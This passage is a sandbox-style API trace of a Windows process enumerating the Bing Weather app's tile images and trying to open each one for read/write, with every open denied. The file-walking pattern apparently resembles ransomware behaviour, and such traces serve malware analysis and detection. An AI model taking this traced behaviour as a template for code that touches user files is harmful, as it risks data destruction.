	[0090.671] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2a1660, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d2a1660, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d2a1660, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_TileSmallSquare.scale-200.png", cAlternateFileName="")) returned 1
	[0090.671] wcscmp (_String1="Weather_TileSmallSquare.scale-200.png", _String2=".") returned 1
	[0090.671] wcscmp (_String1="Weather_TileSmallSquare.scale-200.png", _String2="..") returned 1
	[0090.671] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12a) returned 0x4ebcc70
	[0090.671] wcscpy (in: _Dest=0x4ebcc70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.671] wcscat (in: _Dest=0x4ebcc70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.671] wcscat (in: _Dest=0x4ebcc70, _Source="Weather_TileSmallSquare.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-200.png"
	[0090.671] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilesmallsquare.scale-200.png")) returned 0x20
	[0090.673] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.673] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilesmallsquare.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.673] GetLastError () returned 0x5
	[0090.673] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcc70) returned 1
	[0090.673] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2c78be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d2c78be, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d2c78be, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_TileWide.scale-200.png", cAlternateFileName="")) returned 1
	[0090.673] wcscmp (_String1="Weather_TileWide.scale-200.png", _String2=".") returned 1
	[0090.673] wcscmp (_String1="Weather_TileWide.scale-200.png", _String2="..") returned 1
	[0090.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x2d5b2a8
	[0090.673] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.673] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.673] wcscat (in: _Dest=0x2d5b2a8, _Source="Weather_TileWide.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-200.png"
	[0090.673] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilewide.scale-200.png")) returned 0x20
	[0090.673] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.674] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilewide.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.674] GetLastError () returned 0x5
	[0090.674] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.674] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.674] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2c78be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d2c78be, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d2c78be, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_TileWide.scale-200.png", cAlternateFileName="")) returned 0
	[0090.674] FindClose (in: hFindFile=0x477a968 | out: hFindFile=0x477a968) returned 1
	[0090.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0090.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d358) returned 1
	[0090.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32e20) returned 1
	[0090.675] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d2c78be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaaa975ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d388f04, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0090.675] wcscmp (_String1="contrast-white", _String2=".") returned 1
	[0090.675] wcscmp (_String1="contrast-white", _String2="..") returned 1
	[0090.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e330d8
	[0090.675] wcscpy (in: _Dest=0x4e330d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0090.675] wcscat (in: _Dest=0x4e330d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0090.675] wcscat (in: _Dest=0x4e330d8, _Source="contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0090.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491e078
	[0090.675] wcscpy (in: _Dest=0x491e078, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0090.675] wcscat (in: _Dest=0x491e078, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\"
	[0090.675] wcscat (in: _Dest=0x491e078, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\*"
	[0090.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502ac68
	[0090.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\*", lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d2c78be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaaa975ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d388f04, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a968
	[0090.677] wcscmp (_String1=".", _String2=".") returned 0
	[0090.677] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d2c78be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaaa975ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d388f04, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.678] wcscmp (_String1="..", _String2=".") returned 1
	[0090.678] wcscmp (_String1="..", _String2="..") returned 0
	[0090.678] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2c78be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d2c78be, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d2c78be, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_BadgeLogo.scale-200.png", cAlternateFileName="")) returned 1
	[0090.678] wcscmp (_String1="Weather_BadgeLogo.scale-200.png", _String2=".") returned 1
	[0090.678] wcscmp (_String1="Weather_BadgeLogo.scale-200.png", _String2="..") returned 1
	[0090.678] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x2d5b2a8
	[0090.678] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0090.678] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\"
	[0090.678] wcscat (in: _Dest=0x2d5b2a8, _Source="Weather_BadgeLogo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-200.png"
	[0090.678] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_badgelogo.scale-200.png")) returned 0x20
	[0090.683] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.684] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_badgelogo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.684] GetLastError () returned 0x5
	[0090.684] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.684] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2f056b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d2f056b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d2f056b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.scale-200.png", cAlternateFileName="")) returned 1
	[0090.684] wcscmp (_String1="Weather_LogoSmall.scale-200.png", _String2=".") returned 1
	[0090.684] wcscmp (_String1="Weather_LogoSmall.scale-200.png", _String2="..") returned 1
	[0090.684] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x2d5b2a8
	[0090.684] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0090.684] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\"
	[0090.684] wcscat (in: _Dest=0x2d5b2a8, _Source="Weather_LogoSmall.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-200.png"
	[0090.684] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.scale-200.png")) returned 0x20
	[0090.685] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.685] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.685] GetLastError () returned 0x5
	[0090.685] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.685] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2f056b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d2f056b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d2f056b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.targetsize-16.png", cAlternateFileName="")) returned 1
	[0090.685] wcscmp (_String1="Weather_LogoSmall.targetsize-16.png", _String2=".") returned 1
	[0090.685] wcscmp (_String1="Weather_LogoSmall.targetsize-16.png", _String2="..") returned 1
	[0090.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2d883a8
	[0090.685] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0090.685] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\"
	[0090.685] wcscat (in: _Dest=0x2d883a8, _Source="Weather_LogoSmall.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-16.png"
	[0090.685] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-16.png")) returned 0x20
	[0090.686] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.687] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.687] GetLastError () returned 0x5
	[0090.687] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.688] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d3167ef, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d3167ef, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d3167ef, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.targetsize-24.png", cAlternateFileName="")) returned 1
	[0090.688] wcscmp (_String1="Weather_LogoSmall.targetsize-24.png", _String2=".") returned 1
	[0090.688] wcscmp (_String1="Weather_LogoSmall.targetsize-24.png", _String2="..") returned 1
	[0090.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2d883a8
	[0090.688] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0090.688] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\"
	[0090.688] wcscat (in: _Dest=0x2d883a8, _Source="Weather_LogoSmall.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-24.png"
	[0090.688] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-24.png")) returned 0x20
	[0090.688] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-24.png", dwFileAttributes=0x20) returned 0
